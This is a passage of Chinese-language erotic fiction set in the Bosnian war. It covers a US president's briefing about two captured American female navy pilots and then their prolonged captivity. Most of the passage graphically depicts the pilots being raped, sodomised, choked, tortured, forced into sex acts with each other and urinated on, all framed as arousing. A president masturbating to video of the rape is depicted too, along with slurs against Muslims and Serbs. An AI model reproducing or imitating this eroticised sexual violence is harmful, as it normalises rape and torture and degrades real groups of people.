  “我已经下了决心,我们必须对这种暴虐的行为给予强烈的还击,这是不容争辩的。我们国家的声望和信誉正处于危机之中,我们不能允许那些卑鄙的战争罪犯通过强姦这两个女人来损害我国的声誉。女人的捲入,使事件变得完全不同了,我们不能再像男飞行员被俘那样迟疑和观望。我们必须採取行动,发射巡航导弹攻击在Vitez的波黑穆族军营,我们知道那里有一批穆族的志愿者。”

  “但是,总统先生,那两个女飞行员怎幺办?我们的巡航导弹一样可能把她们也打死,何况我们还不能确定她俩就是在穆族的手中。我们没有情报表明穆族的志愿者手里有能够击落F-14的武器,他们是怎幺把我们的飞机打下来的?我认为我们应该收集更多的情报,来确定她们究竟在哪里,在谁的控制中。”

  “我能理解你的苦恼,舰队司令先生。我们先来看看那些照片,事实要求我们必须採取行动来捍卫我国的声誉。我们不能让那些家伙如此对待为美国服务的妇女。如果我们不行动起来,媒体会把我们吃掉的,我们不能被看做是软弱的或优柔寡断的。我们已经认出那录像带里的一个男人来自伊朗,他是一个穆斯林,这就足够了。我已经授权中央情报局去调查那些杂种的背后,是谁在支持他们。正如大家所知,三角洲突击队已经在匈牙利待命了。一旦有情报表明需要救援行动,我将立即命令他们出发。”

  “是的,总统先生。”

  “谁还有问题?……舰队司令先生,那艘航空母舰的名字是……”

  “艾森豪威尔,先生。”

  “是的,艾森豪威尔号上的某人必须为那两个姑娘的被俘而负责。我要你去那里追查出一个责任人,把名字报上来,并尽快通过海军官方正式对外公布。”

  “是,先生。”

  “好啦,先生们,现在我想一个人呆一会。”

  等所有人都离开了房间,总统小心地从桌子上拿起录像带放进了录像机里。他转了转椅子,使自己背对着监视镜头,然后打开了电视。

  巨大的屏幕上出现了芭芭拉遭到强姦的画面,这些画面当然是没有经过新闻出版署的审查和剪辑的。

  总统聚精会神地看着那个家伙的阴茎插进了芭芭拉的肉穴里,他粗大的肉棒全部都插进了芭芭拉紧凑狭窄的阴道里。总统的手不自觉地顺着自己的身体滑下来,隔着裤子按在了已经硬了起来的小弟弟上,他凝视着电视上出现的年轻的女飞行员被侵犯的画面。

  电视上播放着狂暴的强姦镜头,总统兴奋的大脑飞速转动起来,一个他记忆深处的女人的形像逐渐清晰起来。他微笑着看着屏幕上的女人被野蛮地强姦和凌辱,在他头脑里的两个女人的形像逐渐合为一体。

  当总统最期待的画面即将出现时,他情不自禁地将身体向前探去,双手握着自己早已经挺立起来的肉棒隔着裤子摆弄起来。当那个有鬍子的家伙将自己丑陋的肉棒贴近芭芭拉哭泣着的脸时,自由世界的领袖立刻更加努力地摆弄起自己的小弟弟来,他知道什幺事情即将发生,而且他正期待着。

  他在想像着是自己正在进行着那种暴行,自己就是那个强暴着赤身裸体的女飞行员的家伙。他感到自己的意识已经和那些家伙结合在了一起,在通过他们释放着自己压抑在心底的冲动,现实中的女人总是无法令自己满足。屏幕上的男人在继续着他的暴行,总统从那里面好像看到了自己在完成自己的幻想,自己正在向那母狗展示着自己的力量。

  当那屏幕上的家伙用他的肉棒拍打着芭芭拉的脸,将粘稠的精液射在了她的脸上时,正在摆弄着自己的小弟弟并沉浸在幻想中的总统也忽然感到了一阵猛烈的震颤,一股激流在他的裤子里崩溢开来。

  

  阿坎的摄影师德米特里此刻正隐藏在地下室的一个箱子里,他浑身不停地流着汗,甚至连视线都模糊起来。但他依然紧扛着摄像机,他的任务就是把将军操那美国女飞行员的场面拍摄下来,可德米特里此刻的注意力却更多地被那正受到凌辱的美国女人赤裸的肉体吸引住了。

  她看起来比她那身材娇小的同事遭受到更多的折磨和痛苦。德米特里开始后悔自己当初应该挑选这个健壮的金髮女人,但他立刻又回味起那黑髮姑娘嫩穴的紧密和温暖、自己双手抚摸在那汗津津的苗条匀称的肉体上的美妙感觉。他微笑着回忆起那年轻的肉体在自己的姦淫下的战栗和挣扎,她是那幺地脆弱和无助。

  德米特里先将自己的回忆放在一边,继续认真地执行起自己的任务来。

  薇尔科丽此时正弓着赤裸的身体跪在地上,她的脸侧着抵在粗糙的水泥地面上。她的双手还像刚才一样被紧紧地反绑在背后,勒在她嘴里的绳子像绞索一样绕过她雪白的脖子后栓在她背后的双臂上。

  将军的裤子已经脱到了膝盖上,正跪在女飞行员朝两边大大地张开着的腿之间,在她赤裸着的大屁股之间抽插着。他的双手用力地按住薇尔科丽丰满结实的双腿,奋力地将自己的肉棒深深地插进她的屁眼里。

  女人的眼睛仍然被眼罩蒙着,但她脸上的表情还是看得十分清晰,它清楚地表达着这个女人正经受着的巨大的痛苦和耻辱。这种真实而强烈的痛苦使德米特里感到震惊,他相信从来没人能捕捉到如此震撼的性虐待的镜头。

  薇尔科丽健壮而丰满的裸体在将军的施暴下,被反复来回拖拉在冰冷坚硬的水泥地面上,她硕大娇嫩的乳房磨擦着粗糙的地面发出残酷的声音,受虐的女飞行员脸上的表情对德米特里来说是那幺妖冶诱惑。

  德米特里很不情愿地将镜头从薇尔科丽身上移开,对準了另一边的正鸡姦着另一个美国女人的阿坎。那天在谷仓里,德米特里小心地避免把阿坎摄进轮姦薇尔科丽的镜头之中。但现在不同了,他的任务是拍摄一段阿坎和米洛塞迪奇将军并肩强暴美国女人的影片。

  留着小鬍子的家伙正浑身出汗地趴在那黑髮姑娘赤裸的身体上,他身下的芭芭拉脸朝上平躺着,手脚被捆绑着张开。德米特里将镜头对準了芭芭拉苗条的身体上,在袭击者的姦淫中不停跳动着的匀称饱满的胸膛。他发现这个女人的脸上的眼罩已经被摘掉,她没有看正强姦着她的阿坎,却扭过头一直注视着另一边受苦的薇尔科丽。

  “就这样,将军!操这母狗的屁股!这是干一个女人的最好方式,她的痛苦就意味着你的快乐。”

  将军没说话,他对自己操着一个别人提供的女人,而同时旁边还有另一个人也在做着同样的事而感到有些不舒服。不过强姦这个金髮女人带来的兴奋极大地抵消了这种不快,阿坎为他打开了一扇快乐之门。所以,将军没有说话,而是将注意力完全放在了自己正努力耕耘着的这个紧密窄小的小肉洞上。

  当将军将自己的肉棒深深地插进这个女人的紧密的肛门中时,那种难以形容的快感使他觉得自己的阴茎似乎变得更粗、更大了。他双手紧紧按住这个女人结实而富有弹性的大屁股,看着自己的肉棒在她紧密浑圆的屁眼里进出着,将军为自己能如此折磨奴役一个这样看来强壮而美丽的女人感到陶醉。她看起来是那幺健壮有力的身体此刻赤裸着、无比屈辱地跪伏在地上,修长的双腿左右分开着,裸露出遭到无数次姦淫的两个小肉穴。

  尽管薇尔科丽听不懂将军和阿坎说的话,但她能听出这语言背后的那种恶毒的愉悦。在遭受了无数不知身份者的轮姦和蹂躏后,薇尔科丽感到自己已经处在了疯狂和崩溃的边缘。她的头无力地垂在冰凉的地面上,丰满的屁股淫秽地高高撅着,将自己悲哀的肛门提供给强姦者。

  薇尔科丽浑身抽搐着,妖艳的肉体在绳索的捆绑下徒劳地挣扎着,嘴里发出痛苦的呻吟和凄惨的哀求:“求求你,不要了……放开我吧、啊……”

  薇尔科丽赤裸的身体在捆绑下虚弱地扭动着,她的手臂还是被牢牢地绑在了背后。此刻薇尔科丽感到自己是那幺弱小和可怜,自己健壮的身体在绳索捆绑下无助地发抖,绝望地等待着任何人来施暴。无论薇尔科丽怎样哀求或哭叫,没有一个人对这个女飞行员有一丝怜悯,她已经彻底丧失了骄傲和自尊。

  现在薇尔科丽只能随着不断有粗大的肉棒插进身体,而感受着那种熟悉的火辣辣的痛苦。她感到自己可能要永远陷入这种可怕而屈辱的痛苦中,没有人能拯救她,她已经彻底沦落成了一具只供恐怖分子们蹂躏姦淫的肉体。

  这种痛苦和恐惧完全征服了薇尔科丽,她不再反抗了,任凭自己在对手的姦淫下扭动哭泣,完全将自己的身体交给了施暴者。薇尔科丽只感到自己紧密的肉穴被野蛮地撑开,粗大的肉棒不断地抽插使她感到火烧般的痛苦,这种痛苦逐渐蔓延到全身,好像她的身体都要被撕裂成两半一样。但薇尔科丽没有挣扎或者抵抗,她只是大声地哭叫着,她已经完全接受了这种屈辱而被动的地位,头脑里只剩下一片空白。尽管薇尔科丽嘴里还在不断发出悲惨地哀求,但现在连她自己都已经意识不到在说些什幺了。

  阿坎此刻看着将军的表情就好像一个罪恶的教授在指导着自己的学生做第一次的实验一样,这是一个能带给年轻人无比快乐的肛交实验。他相信将军永远也想不到此刻被他操着的女人头脑里的想法,每当阿坎想到自己拍摄了一盘将军强姦一个美国女飞行员的影片,就情不自禁地微笑起来。

  此时阿坎也正在一个漂亮的美国女飞行员的屁股里姦淫抽插着,他费力地骑在芭芭拉身上,用尽全力地将自己的肉棒插进这个女人紧密的肛门里。当他感到自己的肉棒被火热紧凑的肉洞吞没、看到一个雪白丰满的肉体在自己身下蠕动,阿坎感到自己如此地强大。阿坎感到这女人的肉穴在不断收缩着,富有弹性的肉壁紧紧地包裹挤压着自己的肉棒。他盯着芭芭拉年轻漂亮的脸,欣赏着她痛苦的呻吟和呜咽。他几乎是疯狂地抽插着,不仅要佔有这年轻苗条的身体,还要彻底佔有她的灵魂。

  在阿坎身下,芭芭拉随着他在她屁股间的每一下戳击微弱地呻吟着。长时间被捆绑起来吊着,使芭芭拉已经精疲力尽了。虽然现在她的绑绳已经被解开,可芭芭拉已经完全没有力气反抗了。阿坎沉重的身躯压在她身上,芭芭拉只能勉强用酸软的四肢支撑着,跪伏在地上接受着这个邪恶残忍的家伙施加于自己身上的痛苦和屈辱。

  这种痛苦比起芭芭拉遭受穆族志愿者的轮姦,还要可怕十倍。当阿坎粗大的肉棒戳进芭芭拉的肛门时,她觉得自己像是一棵被连根掘起的小树,那种火辣弥的疼痛使芭芭拉的臀部已经僵硬抽搐起来。

  芭芭拉此刻真想放声大哭,哀求阿坎饶过自己。她看到薇尔科丽和自己一样赤身裸体地跪伏在一边,嘶哑着声音哭泣哀号着。看到薇尔科丽如此地悲惨,彻底屈服于淫亵的暴力之下,被那个灰白头髮的家伙残忍地姦淫着,芭芭拉感到心里一阵刺痛。

  从薇尔科丽的眼神和表情中可以看出,她已经完全崩溃了,只是断断续续地哭叫哀求着。芭芭拉试着喊着薇尔科丽的名字,可是她没有回答。芭芭拉相信薇尔科丽的意识此时已经完全混乱了。

  芭芭拉侧过脸看着自己的同伴,薇尔科丽那迷人的阴户已经变成了一个没有合拢的、红肿难堪的肉洞,从里面依然不断流淌出以前那些强姦者留下的浑浊的液体。那个骑在女飞行员身上的家伙粗大的肉棒残忍地撑开她肛门周围紧凑的括约肌,令芭芭拉震惊地野蛮进出着薇尔科丽受虐的肉穴。

  她看到薇尔科丽健壮的裸体上流满了汗水,屈服地跪伏在地上悲啼哀求着。芭芭拉几乎不敢相信能从薇尔科丽的嘴里说出这样的字眼!

  “求、求你!……不要再这幺折磨我了……你要我做什幺都可以!我会听话的!……啊、哦!不!不要……求求你……”

  将军听不懂悲惨的女飞行员屈辱的哀求,问阿坎:“这母狗说什幺?”

  阿坎微笑着回答:“她说她喜欢这样。这母狗喜欢这样!”

  芭芭拉觉得这一切都是自己的错。看到自己的偶像此刻受到野蛮而残酷的虐待和姦淫,芭芭拉感到自己的痛苦已经不算什幺了。显然,如果自己不大意地说出了薇尔科丽的行蹤,阿坎他们是抓不到她的。比起这些抓住了自己和薇尔科丽的家伙,薇尔科丽要聪明得多。芭芭拉现在感到格外地痛苦,因为自己出卖了薇尔科丽的缘故。

  阿坎的戳插越来越沉重,令芭芭拉全身都随着颤抖起来。她试着腰腹用力,来反抗阿坎残暴的姦淫。但遭到了长时间拷打和轮姦的女飞行员此刻已经无力对抗了,她彻底被强姦者打垮了,只能无助地任凭敌人在自己身上发洩着。阿坎的姦淫使芭芭拉感到浑身瘫软,连呼吸都要随着肉棒戳插的节奏进行。

  渐渐地,芭芭拉已经连思考的力量都没有了。她的脸上流满了眼泪、鼻涕和口水,意识里只剩下了痛苦,浑身彻底瘫软了,任凭阿坎在她的屁眼里野蛮地姦淫发洩着。芭芭拉开始害怕这种痛苦将要永远持续下去。

  终于,芭芭拉感到那不断撕裂着自己身体的肉棒停了下来,一股热乎乎的液体射进了自己的直肠里。阿坎从芭芭拉丰满的屁股间抽出了自己的肉棒,将女飞行员软绵绵的身体丢在了地上。

  芭芭拉艰难地在地上蠕动着,爬到了还在被将军姦淫着的薇尔科丽身边。她看到将军抓着薇尔科丽丰满肥大的屁股狂暴地抽插了几下,然后抽了出来,将已经彻底被征服了的女人丢在了冰冷的水泥地面上。

  薇尔科丽修长丰满的身体上布满被施虐的痕迹,双臂被反绑在背后,脸朝下躺在地上。她的脸朝着另一侧,赤裸的身体依然微微抽搐着,断断续续地呻吟抽泣着。芭芭拉看到薇尔科丽丰满肥厚的屁股上布满了淡淡的鞭痕和手指印,两个肉丘之间的小肉洞红肿张开着,从里面流淌出白色的精液。

  芭芭拉在薇尔科丽的耳边小声说着:“薇尔科丽,薇尔科丽!我知道,你会好起来的。我们会离开这里的……”

  ※※※※※

  虽然那个家伙已经停止了鸡姦,但薇尔科丽已经不知道自己被轮姦了多久。她的双臂还被紧紧地捆绑在背后,浑身酸痛地躺在冰冷的地面上。薇尔科丽现在已经能够看到四周的样子了,因为眼罩已经被摘下。自从被敌人捆绑着吊起来,嘴里被勒进绳索以来,薇尔科丽现在还是第一次能自由地呼吸。

  她现在看不到芭芭拉,只看见阿坎和那个灰白头髮的家伙坐在离自己不远的椅子上,一边喝着酒一边谈笑着。一股食物的香味飘进薇尔科丽的鼻子里,使薇尔科丽立刻感到一种强烈的饥饿感,她已经记不起自己上次吃东西是在什幺时候了。

  薇尔科丽半睁着眼睛看着阿坎他们,她害怕一旦这些家伙发现自己醒来,就又会来折磨拷打自己。但薇尔科丽轻微的举动还是引起了阿坎的注意,他手里拿起一片腊肠走到她躺着的地方。

  阿坎将腊肠丢在地上,然后说到:“啊,薇尔科丽,伟大的美国女英雄醒过来了!好啊,準备好了下一个节目了吗?贱货!”

  听到阿坎的话,将军立刻转过头来。虽然他听不懂英语,但将军还是听清了几个单词的发音。

  “薇尔科丽?美国??”将军惊讶地问:“你这是什幺意思?!”

  “我的将军,这就是现在全世界都在寻找的那两个美国婊子,你明白吗?对愚蠢的美国人来说,这真是一个天大的笑话!他们还以为她们在穆族手里!别紧张,没人知道这些,这是我们的秘密!薇尔科丽?这是这个婊子对自己的称呼。她把自己称做那个德国神话里的、把堕落的勇士送入天堂的女神。我的将军,自从这贱货到了这里,她已经把很多塞族的勇士‘送进’了天堂!”

  阿坎越说越快。“毕竟美国人对我们塞族犯下了罪行,所以怎幺收拾这些美国海军的娘们都不为过,这是我给您的礼物。她是美国海军军官,中尉。当然,其他人不会知道的。您一定以为我发疯了吧?不要急,她们会从这里消失的。然后这些东西就祇有你我知道了,这是我们之间的小秘密。来吧,让我给您表演一下,这两个婊子能干些什幺!”

  酒精和色欲使原本就仇恨美国的米洛塞迪奇将军的头脑里混乱起来,他开始觉得阿坎的解释很有道理。但将军还是感到有些心烦意乱。

  “我已经强姦了一个美国海军军官?!”这种想法令将军感到陶醉。“我已经干了一个自以为万能的美国婊子,而且是从这个海军军官的屁眼里干了这个贱货!”这种念头飞快地闪过将军的脑子,使他不禁要笑了起来,他开始相信阿坎的话,这真是天大的讽刺!

  当将军正胡思乱想着的时候,阿坎已经开始向四周打量起来。当他忽然发现薇尔科丽正用一种饥饿的眼神看着地上的腊肠时,阿坎立刻有了主意!

  在将军的帮助下,阿坎先将薇尔科丽弄到了椅子上。他在女飞行员的脖子上宽鬆地捆上了一道绳索,然后将这好像绞索一样的绳索另一头繫在了椅子背后,迫使赤裸身体的女飞行员脸向上仰着,全身的重量落在了依然被反绑在背后的双臂上。

  阿坎将一根已经吃了三分之一的腊肠的一头插进了薇尔科丽的阴道里,然后赶紧和将军一起,将芭芭拉抬到薇尔科丽的双腿上。他们将芭芭拉的阴户和薇尔科丽的紧紧靠在一起,将腊肠的另一头插进芭芭拉的阴道里,然后将两个女飞行员的双腿分别紧紧捆在了一起。

  接着阿坎在芭芭拉的脖子上也捆上一条绳索,繫在了椅子上。这样两个赤身裸体的女飞行员就被脸贴脸地捆在了一起,一根油腻腻、细长的腊肠插在了两个女人的肉穴里,两人的重量全靠薇尔科丽被绑在背后的双臂来支撑。

  将军用欣赏的目光看着阿坎熟练地用鱼线分别将两个女飞行员丰满赤裸的乳房上的乳头繫上,然后阿坎将捆住了薇尔科丽的乳头的鱼线交给了将军,向他示意通过拉扯鱼线来操纵两个女飞行员用插进她俩肉穴的腊肠来互相姦淫!

  阿坎拉扯着手里的鱼线,使芭芭拉立刻又感到了那种熟悉的剧痛。她的阴部紧贴着薇尔科丽同样娇嫩敏感的部位,轻轻蹭了起来。

  在敌人面前被迫做着这样的表演,使芭芭拉感到十分地羞耻。那根插进阴道的腊肠使芭芭拉感到很不舒服,但在经过了无数次姦淫之后,被撑大了肉穴接受一根腊肠的粗细倒并不觉得痛苦。芭芭拉顺从地挪动着自己的屁股,让腊肠磨擦着自己肉穴,与薇尔科丽的阴部离开一些距离后在挤过去,自己的肉穴碰到薇尔科丽阴户使芭芭拉感到一种触电一样的异样感觉!

  薇尔科丽又是愤怒又是惊讶地看着自己的同伴,她倔强地一动不动,直到将军拉扯着鱼线,使薇尔科丽被勒得淫秽地肿大起来的乳头一阵剧痛!薇尔科丽轻轻呻吟了一声,勉强向前挪动了一下臀部,立刻感到自己的肉穴碰到了芭芭拉发热的肉芽上!将军反复拉扯着鱼线,薇尔科丽只好学着芭芭拉的样子,羞辱地扭动起屁股来。

  现在两个女人已经开始按照阿坎的节奏,扭动摇摆着丰满赤裸的身体,互相贴在一起再分开,一根腊肠在两个女飞行员的肉穴里反复进出着。

  芭芭拉盯着薇尔科丽的脸,从她的眼神中可以看出巨大的羞耻和痛苦。芭芭拉努力地夹紧自己阴道里的腊肠,来回运动着抽插着薇尔科丽的肉穴。她感到自己的脸上开始发烫,明显地反应出自己的兴奋。

  薇尔科丽用一种厌恶的目光看着自己的同伴,她简直难以相信芭芭拉竟然如此堕落和屈服,就像一只不要脸的小母狗一样!薇尔科丽只要一慢下来,立刻乳头就感到一阵剧痛,这使她不得不接受这恶心的腊肠的姦淫。渐渐地,薇尔科丽也开始感到一种难以启齿的滋味,尤其当芭芭拉火热的阴部磨擦到自己敏感的肉芽时。这是自从被俘以来,薇尔科丽第一次感到了没有痛苦的性行为。她试着放鬆自己,但乳头上的痛苦和对同性恋的厌恶使薇尔科丽无法放鬆下来。

  当这根腊肠像假阳具一样被两个女飞行员用来互相使用时,薇尔科丽逐渐难以遏制自己的那种丢脸的感受。这种羞耻的行为已经足以使两个女人的肉穴变得湿了起来,逐渐从两个女飞行员的身下传出一种令人羞耻的、腊肠与湿淋淋的肉穴磨擦发出的‘噗叽’声!当最初从芭芭拉的肉穴里发出这种声音时,薇尔科丽感到一阵的厌恶,但很快令她自己的身下也发出这种令她无比羞耻的声音!

  阿坎则感到十分有趣,他把手伸进薇尔科丽已经变得又热又湿的小穴,然后说到:“啊,你已经变得这幺热!你是一个不折不扣的骚货,一个肮髒、变态的骚货,和你这个骚货同伴一样!”

  薇尔科丽感到更加羞耻,但她已经没法逃避这种事实。她被反绑在背后的双臂用力支撑住自己的身体,然后尽量向后仰,使自己和芭芭拉之间留出更大的距离,然后再将自己的屁股推过来,更用力地磨擦着自己阴道里的腊肠和芭芭拉的阴部。

  但薇尔科丽发现芭芭拉的戳插更加猛烈,不停地夹紧她阴道里的腊肠来抽插自己的肉穴,几乎把整根腊肠都插进了自己的小穴!

  薇尔科丽已经开始喘起了粗气,两个女人汗水淋漓的身体紧贴在一起,丰满的乳房互相磨擦着,动作都逐渐疯狂起来。

  忽然,芭芭拉大声尖叫起来:“薇尔科丽……我、我要……那里……薇尔科丽、薇尔科丽!!”

  这时,阿坎突然抓住了疯狂扭动着的芭芭拉,将她从薇尔科丽身上拉开,那根腊肠也立刻从芭芭拉的阴道里滑落出来。

  薇尔科丽猛地感到一阵失落,她嘴里发出无助地呜咽,身体立刻僵直起来。

  与此同时,薇尔科丽听见了阿坎恶毒的咒骂:“不、骚货!现在还没到让你们享受的时候!现在到了你们继续工作的时候了,婊子!”

  

  波黑噩梦(七)

  阿坎将还在发出苦闷的呻吟的薇尔科丽从椅子上拖下来,和芭芭拉并排跪在一起。薇尔科丽看到未能达到高潮的芭芭拉的那潮红的脸。

  阿坎将那根腊肠从薇尔科丽的小穴里抽了出来,这东西被两个女人夹着来回抽动,几乎令她俩达到高潮。

  薇尔科丽看到阿坎提着那根腊肠在她面前晃着,那腊肠已经被她和芭芭拉肉穴里分泌出的黏液浸透了,显示出一种红中泛白的颜色。薇尔科丽甚至能闻到那腊肠发出的,肉香和她俩的淫水混合在一起的气味。

  阿坎奸笑着对可怜的女飞行员说:“现在我将遵照日内瓦公约,给囚犯些吃的东西,不是吗?别说我什幺也不给你,现在我把这根腊肠给你,好好品嚐一下吧,婊子!”

  阿坎将手里的腊肠换了个方向,将刚才插进芭芭拉小穴里的一头朝向了薇尔科丽。薇尔科丽盯着那沾满了芭芭拉的淫水的腊肠,脸上露出厌恶的表情。

  “吃了它,婊子!否则我就把你再吊起来!一直吊着!!”

  薇尔科丽只好向前俯身,慢慢地张开嘴,咬住了阿坎手里那根还热乎乎的、浸透着淫水的腊肠。她痛苦地闭上眼睛,用力咬下一小截腊肠,咀嚼起来。薇尔科丽嚐到了一股令她难以抗拒的肉味和香料味,她实在太饥饿了。但同时她也嚐到了一种奇怪的、略微发甜的味道,薇尔科丽知道,那是芭芭拉的味道。这种滋味充满了薇尔科丽的嘴巴,她不禁浑身发抖起来。她在吃着另一个女人的淫水!这种感觉令薇尔科丽感到十分的恶心,她竭力克制着,几乎是流着眼泪吞咽下了这一小截腊肠。

  阿坎接着将浸透着薇尔科丽的淫水的一头送到了芭芭拉嘴边。芭芭拉几乎没有迟疑就张开嘴,用她雪白整齐的牙齿咬下了一截,慢慢地咀嚼着,品嚐着腊肠和薇尔科丽的淫水的味道。

  当芭芭拉吃下了这一截后,阿坎将腊肠又送回薇尔科丽嘴边,这次是沾满了她自己的淫水的一头。阿坎兴致勃勃地看着被捆绑的女人满脸羞辱地咀嚼着那沾满了丢脸的黏液的腊肠。

  薇尔科丽只要一想起那腊肠曾经被她俩用来做过什幺,就觉得十分的恶心和耻辱。

  他交替地将浸透着两个女人的汁液的腊肠喂给薇尔科丽和芭芭拉,直到那根腊肠被完全吃光。阿坎对两个女飞行员说:“现在可以给你们些喝的东西了。但你们必须首先为你们的鸡尾酒付出些劳动,贱货!”

  阿坎得意地让将军先看着,然后解开自己的裤子,掏出了他黑乎乎的肉棒。两个光着身子的女飞行员现在被反绑着双臂,并排跪在长椅前,她俩的脸正对着两个男人的胯下。

  阿坎用手拉住栓在自己面前的芭芭拉的两个乳头上的鱼线,对将军说:“用这个来操纵她!只要你拉一拉这个婊子的乳头,她就什幺都会为你做的!”

  作为示範,阿坎拽了一下手里的鱼线。芭芭拉立刻发出一阵呻吟,身体向前弓着,试图避免自己漂亮的乳房遭受到更多的惩罚。阿坎反复地拉扯着手里的鱼线,芭芭拉的反应是不停地呻吟着,在阿坎脚下蠕动着自己赤裸的身体。

  阿坎将自己的阴茎送到芭芭拉嘴边,用英语命令年轻的女人来吮吸它。

  不用阿坎再通过鱼线来命令,芭芭拉立刻张大嘴巴,将阿坎丑陋的肉棒吞了进去。她顺从地用自己温暖柔软的舌头舔着阿坎的肉棒,嘴里发出含糊的呜咽。那肉棒上还残留着芭芭拉肛门里的污秽和阿坎的精液,芭芭拉吮在嘴里感到一阵苦涩。

  突然从胸膛上传来一阵疼痛,芭芭拉立刻加快了吮吸,直到将那上面那些肮脏的东西全舔下来,阿坎的肉棒又沾满了芭芭拉亮晶晶的唾液,昂然挺立起来。

  阿坎突然抓住了芭芭拉的头髮,使她的头无法转动,然后猛地将膨胀起来的肉棒深深地插进了她的嘴里,狂暴地抽插起来!

  年轻的女飞行员还没来得及做出準备,就觉得一根粗大的东西直接捅进了喉咙!芭芭拉立刻被憋得满脸通红,她的嘴巴和喉咙都被阿坎巨大的肉棒填满了,已经无法呼吸。芭芭拉试图挣扎出来,可阿坎的双手死死按住她的头,使芭芭拉无法反抗。

  阿坎用自己的肉棒死死堵住芭芭拉的嘴,静静地看着受虐的女飞行员,直到他发现芭芭拉已经开始翻起了白眼才慢慢地抽回肉棒,给芭芭拉留出一点呼吸的空间。

  阿坎狞笑着,看着眼前的女飞行员,她嘴里还含着自己的肉棒,贪婪地呼吸着。过了几秒种,阿坎又狠狠地将粗大的肉棒全部插进了芭芭拉嘴里,直抵到她的喉咙深处。

  就这样,只有当悲惨的女飞行员被阿坎粗大的阳具折磨得几乎要窒息时,他才好像施捨一样地将肉棒从芭芭拉嘴里抽出一点,给她一点呼吸的时间。阿坎就这样一直玩弄着芭芭拉,这种残忍的玩弄对芭芭拉来说就像一种不堪忍受的酷刑一样。

  将军看着阿坎对芭芭拉施暴,过了几分钟转过脸来,看着惊恐万分地跪在自己面前的薇尔科丽。他用手拉住勒在薇尔科丽的两个巨大、并已经肿了起来的乳头上的鱼线,使劲地向上提着,好像要通过这根栓在薇尔科丽硕大的乳房上的鱼线将跪在地上的女飞行员拉起来似的。

  不堪剧痛的女飞行员立刻大声地呻吟起来,身体颤抖着向后弓着。将军更加用力地拉扯着,残忍地笑着,欣赏着面前的薇尔科丽痛苦万状的表情。

  将军用塞族语言对阿坎说:“阿坎,你用英语告诉这个美国婊子,舔我的皮靴!”

  阿坎笑了起来:“杰出的将军,看来你还有虐待狂的倾向。”

  随后,他用英语对薇尔科丽说:“薇尔科丽!舔他的靴子,你这个婊子!”

  正被胸前传来的剧痛折磨着的薇尔科丽听见阿坎的命令,几乎要惊呆了。但她此刻已经丝毫不敢违抗这些人的意愿,当将军一鬆开手里的‘锁链’,薇尔科丽立刻屈服地向前弯下腰,撅起雪白的大屁股,像狗一样趴伏将军脚下。

  将军的皮靴十分光亮,薇尔科丽甚至几乎能够从靴子表面看到反射出的、自己难堪的样子。她闭上眼睛,慢慢伸出舌头在皮靴表面舔了起来。舔在皮靴的上面,薇尔科丽能够感到一种令她作呕的苦涩,她一边舔着,唾液濡湿了闪亮的皮靴,一边憎恨起自己的屈服来。

  将军看到自己的靴子上已经沾满了薇尔科丽流出的唾液,于是又换上另一只脚上的靴子。

  于是,狼狈不堪的女飞行员又不得不接受另一次的羞辱。当薇尔科丽快要将将军另一只脚上的皮靴舔完时,将军忽然用力地提起手里的鱼线!

  随着一阵锥心的疼痛,薇尔科丽立刻尖叫起来。她挣扎着想站起来,但还栓在脖子上的绳索制止了她。

  将军学着阿坎的样子,揪着薇尔科丽头上凌乱的金髮,将自己还没有硬起来的阴茎凑到了她嘴边。

  闻到将军那丑陋的东西上发出的那种难闻的气味,想到这东西刚刚还插进了自己的屁眼里,薇尔科丽不禁感到万分的愤怒和恶心。薇尔科丽没有反抗,她任凭将军将他的肉棒伸进了自己张开的嘴里。

  薇尔科丽能感到一根热乎乎的东西在慢慢戳进喉咙里,恐惧和忿怒令她浑身哆嗦起来。薇尔科丽的意识深处在告诉她:狠狠地咬断它!做为他们姦污凌辱自己的代价!但是薇尔科丽没有勇气这幺做,阿坎他们残酷的凌辱已经彻底使她崩溃屈服了。

  嘴里被塞进一根逐渐膨胀起来的阴茎,薇尔科丽感到无比惊慌,她已经不知所措了。

  将军揪着薇尔科丽的头髮,开始来回地拉动着她的头,使他的肉棒进出在薇尔科丽的嘴里。薇尔科丽的头被拽着,几乎贴在将军散发着难闻气味的阴毛上,她嘴里那根粗大的东西不断磨擦着她的舌头,打击着她的喉咙,使薇尔科丽几乎无法呼吸。

  将军一边强暴着薇尔科丽,一边喊叫着:“使劲吸,婊子!卖力些!!你现在知道真正的男人是什幺样了吧?塞尔维亚男人!……现在我是胜利者,你什幺也不是!你这个肮脏的美国婊子!知道我的厉害了吧??!!”

  薇尔科丽听不懂将军狂暴的喊叫,她现在全部的意识里只有那填满了她嘴巴和喉咙的肉棒。薇尔科丽努力地用舌头吮吸着,尽量取悦这个粗暴的男人来加快他的高潮,也使自己能尽快从这可怕而屈辱的强暴中解脱出来。

  将军揪着女飞行员的头髮,用力地在她嘴里戳插着,好像刚才姦淫着她的屁眼时一样在薇尔科丽的喉咙里抽插着,他的腰部重重地撞击着这个女人的脸和嘴唇。薇尔科丽健壮的身体被捆绑着跪在地上,头髮被揪在将军的手里,丰满性感的裸体已经被汗水浸透了,湿答答的唾液也顺着嘴角不停流淌到雪白的脖子和丰满的胸膛上。

  随着那粗大的东西不断像活塞一样戳击着薇尔科丽的嘴,她的意识里已经逐渐变成了一片空白。忽然,薇尔科丽感到那可怕的姦淫停止下来,将军用手握着从她嘴里抽出的阴茎,抵在她流满了唾液的下巴上。

  紧接着,一股、又一股热乎乎、粘稠的白色液体喷到了薇尔科丽的脸上!这些带着一股腥味的液体立刻糊满了薇尔科丽的下巴和脸颊,喷进了她正喘着气的嘴里,甚至喷射进了薇尔科丽的眼睛里!

  现在薇尔科丽的脸几乎全糊满了白浊、粘稠的精液,她感到一阵阵的灼热。薇尔科丽惊恐地抬起头,看到了将军充满仇恨的眼神,和正对着自己的那根难看的肉棒。

  毫无任何征兆,薇尔科丽又感到一股比刚才更猛烈的激流喷射在自己脸上!一种热乎乎的、散发着刺激的气味的液体浇在了薇尔科丽的脸上,冲掉了刚刚喷了她满脸的精液。这是他的尿液!他在对着她的脸撒尿!!

  将军大笑着,把尿淋在了薇尔科丽的脸上。臊臭的尿液冲掉了薇尔科丽脸上的精液,和精液混合在一起流满了她的脸上、胸膛上和全身。

  薇尔科丽已经完全惊呆了,她只能无助地跪伏在将军脚下,被将军揪着她的头髮,对着她的脸撒尿。薇尔科丽觉得自己被彻底、完全地凌辱了,她甚至被当作了公共厕所!那个男人的精液填满了自己的肛门,现在又用精液和尿液糊满了自己的脸和全身!薇尔科丽想到了死。

